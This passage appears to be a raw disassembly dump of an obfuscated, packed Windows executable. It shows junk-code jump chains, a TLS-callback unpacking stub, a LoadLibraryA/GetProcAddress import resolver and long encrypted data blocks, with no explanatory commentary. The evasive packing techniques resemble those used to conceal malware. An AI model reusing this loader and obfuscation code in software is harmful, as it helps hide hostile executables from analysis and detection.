00000006 BYTES ; FUNCTION CHUNK AT 00431B02 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00431BC3 SIZE 00000005 BYTES xchg eax, [esp+0] xchg ebp, [esp+0] mov eax, ebp pop ebp push ebx mov ebx, esi jmp loc_431B02 sub_4323E7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0CF330000h, 0FFC755E9h, 6C600FFh, 240C878Ah, 0E959F18Bh dd 21Eh, 0E99C0000h, 0FFFFCDF6h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43241A proc near ; CODE XREF: sub_430011+Ap xchg edx, [esp+0] pop edx popf retn 0D3C0h sub_43241A endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 850Fh dd 0FFFFD25Ch, 0FFD5EAE9h, 0C300FFh ; --------------------------------------------------------------------------- loc_432430: ; CODE XREF: fzj3qwht:0042FEE5j jmp locret_42F53B ; --------------------------------------------------------------------------- align 2 cdq jmp sub_430A5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_43243C: ; CODE XREF: sub_42F4AE+11CFj pushf call loc_43151C add al, ch imul ebx ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dw 0FFFFh dd 5CE90000h, 0FFFFF0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430F48 loc_432450: ; CODE XREF: sub_430F48+Bj sub edi, 0D7C7A51Dh add edi, 92DD1274h jmp loc_4327D8 ; END OF FUNCTION CHUNK FOR sub_430F48 ; --------------------------------------------------------------------------- loc_432461: ; CODE XREF: fzj3qwht:00432328j call near ptr dword_42F364+15h ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_432467: ; CODE XREF: fzj3qwht:0042FB84j jmp loc_431228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430F2A loc_43246C: ; CODE XREF: sub_430F2A+Aj push offset loc_42F83E jmp nullsub_135 ; END OF FUNCTION CHUNK FOR sub_430F2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF6B loc_432476: ; CODE XREF: sub_42FF6B:loc_42EFB2j call loc_43159A loc_43247B: ; CODE XREF: fzj3qwht:00431124j add [edi], dl add al, 24h mov ebp, eax pop eax retn ; END OF FUNCTION CHUNK FOR sub_42FF6B ; --------------------------------------------------------------------------- align 8 dd offset sub_432AFD dd 0FFEA33E9h, 0A4E900FFh, 0FFFFFDh, 116h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4316FE loc_43249C: ; CODE XREF: sub_4316FE-1D82j jmp locret_42F5B0 ; END OF FUNCTION CHUNK FOR sub_4316FE ; --------------------------------------------------------------------------- align 4 dd 0EDAA3A7Ah db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_4324AA: ; CODE XREF: sub_4301B7+1Bj jmp loc_43164B ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- align 10h jmp loc_42EF28 ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 0FA1196CEh, 0C9F7E991h, 5E00FFFFh, 3A66C081h, 0E8812A18h dd 3B8F4D56h, 5340E081h, 890F4A0Eh, 0FFFFC2F0h, 0D2D0E900h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EB56 loc_4324E3: ; CODE XREF: sub_42EB56+10j jmp loc_42FAD6 ; END OF FUNCTION CHUNK FOR sub_42EB56 ; --------------------------------------------------------------------------- dd 52E90000h, 0C3FFFFEEh, 0FC558B00h ; --------------------------------------------------------------------------- loc_4324F4: ; CODE XREF: fzj3qwht:loc_43230Dj push ebx pushf push 222A23D9h pop ebx jmp loc_43254D ; --------------------------------------------------------------------------- loc_432501: ; CODE XREF: fzj3qwht:004306C0j cmp dword ptr [ebp-10h], 0 jge near ptr dword_42EA44+0B2h jmp loc_431B61 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_432512: ; CODE XREF: fzj3qwht:0042EF38j push 42E88Bh jmp near ptr dword_42E868+1Ah ; --------------------------------------------------------------------------- mov byte ptr [eax], 0 push 7E1652F9h pop eax xor eax, 7B1BC665h jmp loc_430A55 ; --------------------------------------------------------------------------- dd 37E9CB85h, 0FFFFDDh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430A5C loc_432538: ; CODE XREF: sub_430A5C+Fj add eax, ebp add eax, 3BB1BC4Fh jnz short $+2 push ebp push esp add eax, 0C94FE9E0h ; END OF FUNCTION CHUNK FOR sub_430A5C ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0 db 0 ; --------------------------------------------------------------------------- loc_43254D: ; CODE XREF: fzj3qwht:004324FCj xor ebx, 0F975535Bh add ebx, 0B51526ACh sub ebx, 7A8D6698h add ebx, 0EA5BD627h popf jmp loc_4306B4 ; --------------------------------------------------------------------------- db 0C1h dd 525717C1h, 1487D38Bh, 0F2E3E924h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_43257B: ; DATA XREF: fzj3qwht:loc_430DC9o xor eax, 27F5436Dh push offset loc_42E8EC jmp loc_432737 ; --------------------------------------------------------------------------- db 0C1h dd 870F1FC5h, 0FFFFCA0Bh, 9BE9CA33h, 0FFFFEFh, 69860F00h dd 81FFFFD5h, 625BF9E2h, 0C84CE98Ch, 8B00FFFFh, 682AF612h dd 431B54h, 393E9h, 81000000h, 12EB4DCBh, 0E9FA8BAAh, 0FFFFFAC4h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430917 loc_4325CD: ; CODE XREF: sub_430917+Aj mov byte ptr [edx], 0C3h xchg ebp, [esp+0] mov edx, ebp pop ebp push offset loc_42E83C jmp loc_432020 ; END OF FUNCTION CHUNK FOR sub_430917 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_4325E1: ; CODE XREF: sub_42F4AE-1D5j push offset loc_4303EC jmp locret_4315AC ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 4 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4325EE: ; CODE XREF: fzj3qwht:0043131Ej jmp near ptr dword_430EEC+1Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_4325F3: ; CODE XREF: sub_431452:loc_430338j ; DATA XREF: sub_42F4AE:loc_430121o mov byte ptr [eax], 0Fh call sub_431F11 loc_4325FB: ; CODE XREF: sub_431F5F-FA0j jmp near ptr dword_42E794+87h ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_432601: ; CODE XREF: fzj3qwht:004302CEj jmp loc_430A50 ; --------------------------------------------------------------------------- dw 0F7E9h dd 68FFFFE0h, 42EA45h, 0FFCF70E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_431410 loc_432616: ; CODE XREF: sub_431410+14j call sub_42EB56 add [edi], cl loc_43261D: ; CODE XREF: sub_42EB56+F8Cj mov [eax-197E0001h], gs sub eax, 0E8948FA1h das out dx, al ; END OF FUNCTION CHUNK FOR sub_431410 ; --------------------------------------------------------------------------- db 0FFh dd 0ACE9C3FFh db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_432633: ; CODE XREF: fzj3qwht:00430CE1j jmp loc_43195D ; --------------------------------------------------------------------------- db 2 dup(0) word_43263A dw 8Bh ; DATA XREF: fzj3qwht:0043100Eo dword_43263C dd 0E005449Eh, 4324F168h, 0FEA5E900h ; DATA XREF: fzj3qwht:0042EEF6o db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_43264B: ; CODE XREF: fzj3qwht:0042F1C4j xchg ecx, [esp] pop ecx jz loc_42FEE0 push ebx mov ebx, edi xchg ebx, [esp] jmp loc_430FEF ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_432662: ; CODE XREF: fzj3qwht:00431758j push 95754FE9h pop esi xor esi, 0C2C0C0Fh sub esi, 8D519ACBh jmp loc_4315AD ; --------------------------------------------------------------------------- loc_432679: ; CODE XREF: fzj3qwht:0042F35Ej or edx, 0B0661E32h push edx mov edx, offset byte_430FAF jmp loc_431F03 ; --------------------------------------------------------------------------- dw 8700h dd 0DB70E9C6h db 2 dup(0FFh), 0 byte_432693 db 52h ; DATA XREF: fzj3qwht:0043018Co dd 1487D18Bh, 471B924h, 6BE90043h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4326A3: ; CODE XREF: fzj3qwht:00431147j add edx, 0A90B6B0Dh push ecx mov ecx, 432421h jmp near ptr dword_42F364+2 ; --------------------------------------------------------------------------- dd 1C87DF1Bh, 243C8724h, 0C9E9DF8Bh, 3FFFFFDh, 0FC7EE9CFh dd 0FFFFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_42FF32 loc_4326CE: ; CODE XREF: sub_42FF32+9j jmp loc_42FE9D ; END OF FUNCTION CHUNK FOR sub_42FF32 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_4326D5: ; CODE XREF: fzj3qwht:0042F183j jmp loc_430198 ; --------------------------------------------------------------------------- align 4 mov ecx, edi sub eax, 827E1BD9h jmp loc_4306F0 ; --------------------------------------------------------------------------- align 2 dw 3487h dd 0BB535E24h, 432540h, 0FFD6D2E9h, 243487FFh, 8B53EC8Bh dd 0FA5E68D9h, 4E90042h, 0FFFFE2h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F11 loc_43270D: ; CODE XREF: sub_431F11:loc_431388j ; DATA XREF: sub_42F4AE+32BDo and eax, [eax+edx*2+56FFFFD7h] push 351597C7h xchg edi, [esp-4+arg_0] mov esi, edi jmp loc_42E938 ; END OF FUNCTION CHUNK FOR sub_431F11 ; --------------------------------------------------------------------------- db 87h dd 0C65F243Ch, 815A8B02h, 66157BE0h, 0DB880F8Fh db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_432737: ; CODE XREF: fzj3qwht:00432586j jmp near ptr dword_42E794+15h ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_43273D: ; CODE XREF: sub_42FA52+962j jmp loc_431F49 ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- dw 0F00h ; --------------------------------------------------------------------------- mov ds, word ptr [ecx] add eax, [eax] add [ecx-7480251Dh], al imul ebp, ecx, 0FFFFC176h loc_432754: ; CODE XREF: fzj3qwht:loc_43180Aj pop esi and esi, 53F6BEAEh cmp esi, 460078A5h jmp loc_431D41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_432766: ; CODE XREF: sub_42F4AE+7Aj mov edx, eax xchg edx, [esp-0Ch+arg_8] mov eax, offset loc_43270D jmp loc_430121 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_432775: ; CODE XREF: sub_431686+111Aj js loc_430F61 mov edi, [eax] jmp loc_431A8F ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F8A9 loc_432782: ; CODE XREF: sub_42F8A9+5j call loc_431A8F ; END OF FUNCTION CHUNK FOR sub_42F8A9 ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- loc_432789: ; CODE XREF: fzj3qwht:00431441j jmp near ptr byte_430E9D+2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_43278E: ; CODE XREF: sub_431686:loc_432306j call sub_430AEE add [edi], cl test [ecx], ah call near ptr 0F4AC279Bh test byte ptr [edx+0], 0E9h jno short loc_432775 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0) word_4327A6 dw 0C081h ; DATA XREF: fzj3qwht:004313E1o ; --------------------------------------------------------------------------- retn 0D4Ah ; --------------------------------------------------------------------------- db 0A9h dd 0EC68C503h, 0E900431Dh, 0FFFFEB71h, 51C30000h, 0C87CE8Bh dd 9ABB5324h, 0E9004307h, 0FFFFF87Bh ; --------------------------------------------------------------------------- loc_4327CC: ; CODE XREF: fzj3qwht:00431B29j xchg ebx, [esp] pop ebx push edx call sub_431686 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430F48 loc_4327D8: ; CODE XREF: sub_430F48+1514j jmp loc_4303B9 ; END OF FUNCTION CHUNK FOR sub_430F48 ; --------------------------------------------------------------------------- align 2 loc_4327DE: ; CODE XREF: fzj3qwht:00430A14j xchg ecx, [esp] loc_4327E1: ; CODE XREF: fzj3qwht:004327F6j pop ecx push eax mov eax, offset loc_431AF8 jmp loc_431CA3 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh ; --------------------------------------------------------------------------- mov ds, word ptr [esi-7800000Fh] jmp short loc_4327E1 ; --------------------------------------------------------------------------- dd 0FFFFC7D3h, 0E9990000h, 0FFFFE199h ; --------------------------------------------------------------------------- loc_432804: ; CODE XREF: fzj3qwht:0042F27Aj xchg edx, [esp] pop edx add eax, 0EFB87C22h mov eax, [eax] push offset loc_42F481 jmp locret_42F480 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_431167 loc_43281C: ; CODE XREF: sub_431167:loc_430025j mov byte ptr [eax], 87h pop eax push ebx push offset loc_4328FE jmp loc_42FF7C ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; --------------------------------------------------------------------------- add al, 24h retn ; --------------------------------------------------------------------------- loc_432833: ; CODE XREF: fzj3qwht:00431C04j jmp loc_4302E1 ; --------------------------------------------------------------------------- dd 1FD26800h, 0F2E90043h, 0FFFFF9h, 0CF035300h, 0FFF2A0E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_43284F: ; CODE XREF: fzj3qwht:00431006j cmp esi, 2D731484h jmp loc_42F883 ; --------------------------------------------------------------------------- dw 8100h dd 0E64C5DF8h, 0F470E90Fh, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430BD8 loc_432868: ; CODE XREF: sub_430BD8+16j push 42F759h jmp near ptr dword_42F854+14h ; END OF FUNCTION CHUNK FOR sub_430BD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431E69 loc_432872: ; CODE XREF: sub_431E69-EEBj mov byte ptr [eax], 8Bh pop eax add eax, 0D79F39E0h loc_43287C: ; DATA XREF: sub_431E69:loc_430F79o cwde loc_43287D: ; CODE XREF: sub_42F4AE:loc_430669j add cl, ch scasd ; END OF FUNCTION CHUNK FOR sub_431E69 ; --------------------------------------------------------------------------- dd 87FFFFDFh, 815A2414h, 0B646DBC6h, 9C368B6Dh, 0C5965268h dd 243487B8h, 50E9CE8Bh, 0FFFFFF6h, 0FFD2D98Eh db 0FFh ; --------------------------------------------------------------------------- loc_4328A5: ; CODE XREF: fzj3qwht:loc_42F29Dj sub eax, 94F019B0h add eax, 0D552A4BAh add eax, ebp jmp loc_4313A4 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4328BA proc near ; CODE XREF: sub_430E46-14E9p arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx xchg esi, [esp-4+arg_0] mov ebp, esi jmp near ptr dword_42E9A4+10h sub_4328BA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4328CA: ; CODE XREF: fzj3qwht:00430F73j xchg eax, [esp] xchg edi, [esp] mov eax, edi pop edi xchg edx, [esp] mov ebx, edx jmp near ptr dword_42EA44+5Bh ; --------------------------------------------------------------------------- align 2 pop edi call sub_42FF04 loc_4328E4: ; CODE XREF: fzj3qwht:0043216Aj jmp loc_430828 ; --------------------------------------------------------------------------- align 2 dw 0F081h dd 0E8B59D80h, 6857C503h, 741D8D61h, 0FFE754E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_4328FE: ; DATA XREF: sub_431167+16BAo push 0D9FD5675h pop ebx sub ebx, 52BFC610h xor ebx, 1873F1D0h sub ebx, 59B767F3h xor ebx, 23AAC197h call sub_430C8C ; START OF FUNCTION CHUNK FOR sub_431686 loc_432921: ; CODE XREF: sub_431686+Fj pop edx rol edx, 12h sub edx, 6A3C455Bh rol edx, 9 or edx, 3B952D31h call sub_4318E2 rol ebx, 8 xchg edi, [esp+0] pop edi cmp dword ptr [ebp-8], 0 jnz loc_430B7C jmp loc_431890 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- align 10h retn ; --------------------------------------------------------------------------- db 2 dup(0), 81h ; --------------------------------------------------------------------------- shr byte ptr [edi-5Bh], 0A9h stc loc_432959: ; DATA XREF: fzj3qwht:00432323o jno short $+2 mov al, [ebp+eax-20h] push 8F379504h jmp loc_42F53C ; --------------------------------------------------------------------------- db 0B9h, 0ECh, 0Dh dd 0EE90043h, 5BFFFFEFh, 8104C3C1h, 0FA19ACBh, 37C38179h dd 0C17165BEh, 0F3810CC3h, 94E90FB8h, 0FFC18EE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432992 proc near ; CODE XREF: fzj3qwht:loc_42E83Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00432AE7 SIZE 0000000B BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h push esi push edi push ebx mov esi, offset dword_422000 mov eax, 400000h mov [ebp+var_4], eax mov edx, eax loc_4329AA: ; CODE XREF: sub_432992+15Bj mov eax, [esi+0Ch] or eax, eax jz loc_432A42 add eax, edx mov ebx, eax push eax call ds:dword_42A0B4 ; GetModuleHandleA or eax, eax jnz loc_4329D7 push ebx call ds:dword_42A0B8 ; LoadLibraryA or eax, eax jz loc_432A3A loc_4329D7: ; CODE XREF: sub_432992+30j mov [ebp+var_8], eax push 0 pop [ebp+var_C] loc_4329DF: ; CODE XREF: sub_432992+A2j mov eax, [esi] or eax, eax mov edx, [ebp+var_4] jnz loc_4329EF mov eax, [esi+10h] loc_4329EF: ; CODE XREF: sub_432992+54j add eax, edx add eax, [ebp+var_C] mov ebx, [eax] mov edi, [esi+10h] add edi, edx add edi, [ebp+var_C] or ebx, ebx jz loc_432AE7 test ebx, 80000000h jnz loc_432A16 lea ebx, [ebx+edx+2] loc_432A16: ; CODE XREF: sub_432992+7Aj and ebx, 7FFFFFFFh push ebx push [ebp+var_8] call ds:dword_42A0BC ; GetProcAddress or eax, eax jz loc_432A3A mov [edi], eax add [ebp+var_C], 4 jmp loc_4329DF ; --------------------------------------------------------------------------- align 2 loc_432A3A: ; CODE XREF: sub_432992+3Fj ; sub_432992+96j push ebx mov eax, ebx call sub_432A49 loc_432A42: ; CODE XREF: sub_432992+1Dj pop ebx pop edi pop esi mov esp, ebp pop ebp retn sub_432992 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432A49 proc near ; CODE XREF: sub_432992+ABp var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h push ebp mov ebp, esp add esp, 0FFFFFEF8h mov [ebp+var_104], eax mov [ebp+var_100], 276E6143h mov [ebp+var_FC], 6F6C2074h mov [ebp+var_F8], 206461h mov [ebp+var_108], 0Bh loc_432A80: ; CODE XREF: sub_432A49+98j mov eax, [ebp+var_104] cmp byte ptr [eax], 0 jnz loc_432AC0 mov eax, [ebp+var_108] mov byte ptr [ebp+eax+var_100], 0 push 2010h push 0 lea eax, [ebp+var_100] push eax push 0 call ds:dword_42A104 ; MessageBoxA push 0FFFFFFFFh call ds:dword_42A0C0 ; ExitProcess mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h loc_432AC0: ; CODE XREF: sub_432A49+40j mov eax, [ebp+var_108] mov edx, [ebp+var_104] mov dl, [edx] mov byte ptr [ebp+eax+var_100], dl inc [ebp+var_108] inc [ebp+var_104] jmp loc_432A80 sub_432A49 endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_432992 loc_432AE7: ; CODE XREF: sub_432992+6Ej add esi, 14h mov edx, [ebp+var_4] jmp loc_4329AA ; END OF FUNCTION CHUNK FOR sub_432992 ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_432AF7 proc near ; CODE XREF: TlsCallback_0p mov eax, offset loc_42E77C locret_432AFC: ; DATA XREF: sub_432AFD+8o retn sub_432AF7 endp ; =============== S U B R O U T I N E ======================================= sub_432AFD proc near ; DATA XREF: fzj3qwht:00432488o var_14 = dword ptr -14h var_10 = dword ptr -10h push esi push edi push ecx push ebx push eax mov ebx, [esp+14h+var_14] sub ebx, offset locret_432AFC mov eax, 3552h push eax push 4 push 1000h push eax push 0 mov eax, offset dword_42A0C4 mov eax, [eax+ebx] call eax pop ecx mov edx, offset loc_42E77C add edx, ebx push edx push ebx push eax mov edi, eax mov esi, edx cld rep movsb mov ecx, offset sub_42E5F8 add ecx, ebx call ecx pop eax mov ebx, [esp+10h+var_10] push 8000h push 0 push eax mov eax, 42A0C8h mov eax, [eax+ebx] call eax pop ecx pop eax pop ebx sub ebx, 5 mov byte ptr [ebx], 0B8h inc ebx mov [ebx], eax add ebx, 4 mov byte ptr [ebx], 0C3h or ecx, ecx jz short loc_432BB2 mov ebx, eax call loc_432C13 cld lodsd cmp eax, 0FFFFFFFFh jz short loc_432BB2 push ebx mov ebx, ecx loc_432B7D: ; CODE XREF: sub_432AFD+91j ; sub_432AFD+A4j ... add ebx, eax add [ebx], ecx add ebx, 4 lodsb cmp al, 0FEh jnb short loc_432B90 and eax, 0FFh jmp short loc_432B7D ; --------------------------------------------------------------------------- loc_432B90: ; CODE XREF: sub_432AFD+8Aj add ebx, 0FEh or eax, eax jp short loc_432BA3 lodsw and eax, 0FFFFh jmp short loc_432B7D ; --------------------------------------------------------------------------- loc_432BA3: ; CODE XREF: sub_432AFD+9Bj lodsd dec esi and eax, 0FFFFFFh cmp eax, 0FFFFFFh jnz short loc_432B7D pop eax loc_432BB2: ; CODE XREF: sub_432AFD+6Dj ; sub_432AFD+7Bj pop ebx pop ecx pop edi pop esi retn sub_432AFD endp ; --------------------------------------------------------------------------- db 71h dd 0ECA4C4B5h, 16CD4F1Dh, 1214CA77h, 7C5A5B5Fh, 5C369DC3h dd 0B35F1167h, 0F1DD2A88h, 0E01A34A4h, 46CD7BACh, 8B8D7E9Ch dd 6F9E4CFh, 0CE8FD41Eh, 0F1840A2Ch, 907FE463h, 183465A4h dd 6766B1CAh, 0E80DD980h, 0FFFFFEF7h, 3A2105h db 0, 0FFh, 0E0h ; =============== S U B R O U T I N E ======================================= public TlsCallback_0 TlsCallback_0 proc near ; DATA XREF: fzj3qwht:TlsCallbackso call sub_432AF7 add eax, 3652h jmp eax TlsCallback_0 endp ; --------------------------------------------------------------------------- loc_432C13: ; CODE XREF: sub_432AFD+71p call sub_432C1C ; --------------------------------------------------------------------------- dd 0FFFFFFFFh ; =============== S U B R O U T I N E ======================================= sub_432C1C proc near ; CODE XREF: fzj3qwht:loc_432C13p pop esi retn sub_432C1C endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 4400h dd 5B3EDAD7h, 412498DAh, 0F0F31623h, 3856BBF4h, 607FD985h dd 8DB84176h, 0AE996ACDh, 3FDA4F69h, 0BAF4909Eh, 0DF2262ADh dd 406D6A1Fh, 0CD405B75h, 0D8A9E18Ch, 0D129EDh, 6A986F79h dd 21525096h, 88696278h, 14E2E870h, 6ECA8AA6h, 5A2DA0D3h dd 0D73ABF70h, 3A5656A8h, 0FEEFDBDDh, 90FAC4E3h, 0D72C351Bh dd 0BC6807BFh, 235A3818h, 0AC513EA8h, 3C231832h, 0F87B5308h dd 0A07AF8FEh, 6B95396Ch, 5DFB0866h, 4CDF600Bh, 0EA862C62h dd 45B0A381h, 0EA70DB2Bh, 1F39173Eh, 186C70BCh, 0C8CE76C0h dd 869F4C06h, 0A5972B87h, 39901101h, 7C44CDB5h, 0DBDA524Eh dd 0BC42CEDAh, 1D74815Bh, 0BBC0A223h, 2B04BE05h, 0B2465399h dd 83293B8Fh, 85E2A6B4h, 618719D3h, 94537716h, 0D4276967h dd 8688FCFh, 0EC769E6Dh, 524C9C95h, 92FAE5EFh, 76629C2h dd 3A8AA89Bh, 878A8CA2h, 17FC0B92h, 8165106Eh, 17EA2E43h dd 0B57826D2h, 0DF173313h, 0E7683F03h, 0F73CDBD0h, 6BE5F018h dd 0CDDC7147h, 91672DAEh, 0BB63C025h, 0D164FE33h, 627BBDAFh dd 5EB21B3Ch, 0D26BF6ABh, 132BDD4Dh, 0B6D33AE7h, 8B4F83F3h dd 0A84AE68Ah, 5CE03F76h, 0B15FC6AAh, 93A6784Fh, 59FB43E8h dd 0B78D8581h, 79CBD223h, 51CFF99h, 9F27F404h, 0AE20EE5Bh dd 572D1752h, 0A9DC8BE9h, 0ED8D4A5Ah, 0DC111DEFh, 96668384h dd 4779B786h, 0B6A1C373h, 0EBA8BC88h, 0C3D0B703h, 9F3771Ah dd 0D34D1169h, 4895A016h, 0FCEA58A1h, 0FA72E5FDh, 0A7B18E38h dd 811BC240h, 0B5A029C7h, 0BF3AF0BBh, 59ABB1Ch, 0C3A0C780h dd 0A53CB0B2h, 0D7620EDh, 5A212085h, 0F54AF50h, 9436BF69h dd 49D2A841h, 60B02B3Dh, 25F742F6h, 79AD21D4h, 807CC78h dd 80h dup(0) fzj3qwht ends ; Section 6. (virtual address 00033000) ; Virtual size : 0001C000 ( 114688.) ; Section size in file : 0001C000 ( 114688.) ; Offset to raw data for section: 00033000 ; Flags E00000E0: Text Data Bss Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _0niaacah segment para public 'CODE' use32 assume cs:_0niaacah ;org 433000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 0AB5E1283h, 0EE2E4F85h, 0A21AF640h, 187E1BA7h, 442A8D2Eh dd 592EED57h, 0F54F8ADCh, 0C5B27650h, 0C19BA443h, 0F0D7F9A6h dd 8434B2D9h, 0FABFA5B4h, 0B700B523h, 38221697h, 9253B481h dd 13F51AF6h, 0B4AB90EBh, 0AAD48554h, 0AA2F0602h, 4262E9C1h dd 0C1667B4Eh, 64E7AE3Bh, 0BB199E62h, 54C76A68h, 8320F216h dd 29E00987h, 0BB1B305h, 524EFF69h, 0E47CEC4Ah, 0EDE67963h dd 0A5F2C3Eh, 32D8AB12h, 0B0B3DBFFh, 0D6D32A50h, 0F3607458h dd 3CCD17E3h, 7E118CA7h, 377C6056h, 3794AA30h, 9FC2AB4h dd 842B5C0Ah, 0EB304762h, 410249BDh, 0DFCA4BF8h, 40748234h dd 0E062B084h, 0E3024343h, 0A2E3269Dh, 211F3384h, 0E334B12Ch dd 43BE7CF8h, 6006936Ch, 0C520A37h, 2BFA848Eh, 8B70E934h dd 5F306E66h, 97B4471Dh, 679FC261h, 155E6029h, 0A70393D6h dd 0DE35895Dh, 2726E003h, 0F1DE01BCh, 11A7180Ah, 7292659Bh dd 0F71F23CCh, 0BE47F394h, 0A51B3BBEh, 5C2424CCh, 5824025Ah dd 0CD8B64AFh, 0B1EB4CA0h, 0DE472A41h, 414DB42Eh, 3EC8C72h dd 0FB812DA4h, 82603D9h, 834FCA46h, 7225FB86h, 0EA46B8C7h dd 0C00D4BD8h, 972AC96Ah, 0CE002559h, 4F752881h, 0D70A7ACCh dd 1BD3FA40h, 87526E87h, 0DDF4433h, 3725B715h, 71C13CEBh dd 74028A51h, 551A2423h, 0E9BCF3BBh, 234C2CF8h, 1C76D1ABh dd 0EAAF6A51h, 27FA2DF2h, 59CC520Ch, 6A22D6C7h, 5E1BAF01h dd 0EA6AAA9Dh, 4E9ECF3Bh, 9655DF51h, 5680EF5Bh, 59930D8Dh dd 0E4304007h, 394BF5D9h, 1BE2B0C7h, 0F617F2DDh, 179AFE4Eh dd 644054Eh, 9E319C09h, 0BF9BC967h, 23F32ED5h, 7F34216Dh dd 3775BBCAh, 2C2AFAA9h, 0D7498025h, 6259D11Bh, 12084A33h dd 7C42A872h, 79C47E87h, 36ED56A9h, 72E26D14h, 55133D51h dd 17B7DC52h, 0B79BE0Ch, 0EDD9B88Dh, 380h dup(0) dword_434000 dd 55E860h, 0BD8D0000h, 401000h, 0B00068h, 243C0300h, 6890F78Bh ; DATA XREF: _0niaacah:starto dd 401031h, 55E3DB9Bh, 8B2404DBh, 2444DBC7h, 0DBC1DE04h dd 1C8B241Ch, 51AD6624h, 902404DBh, 778DDA90h, 0DB004010h dd 0E1D1241Ch, 33240C29h, 0E9D12404h, 0E258AB66h, 0FCB85724h dd 2900004Fh, 8BC32404h, 